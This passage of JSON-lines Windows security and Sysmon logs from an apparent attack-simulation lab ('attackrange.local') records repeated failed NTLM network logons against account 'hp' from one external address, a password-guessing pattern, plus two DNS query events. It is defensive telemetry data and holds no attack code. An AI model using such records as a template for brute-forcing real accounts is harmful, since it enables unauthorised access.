Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63542","EventReceivedTime":"2020-08-07 11:50:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221529,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63641\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63641","EventReceivedTime":"2020-08-07 11:50:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221530,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63738\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63738","EventReceivedTime":"2020-08-07 11:50:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221531,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63889\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63889","EventReceivedTime":"2020-08-07 11:50:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221532,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t63933\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"63933","EventReceivedTime":"2020-08-07 11:50:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2271,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:12.266\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:12.266","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.","QueryStatus":"1460","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2272,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:12.266\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:12.266","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.","QueryStatus":"1460","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221533,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64085\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64085","EventReceivedTime":"2020-08-07 11:50:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221534,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64239\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64239","EventReceivedTime":"2020-08-07 11:50:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221535,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64362\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64362","EventReceivedTime":"2020-08-07 11:50:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221536,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64479\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64479","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:16","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221537,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64606\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64606","EventReceivedTime":"2020-08-07 11:50:18","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 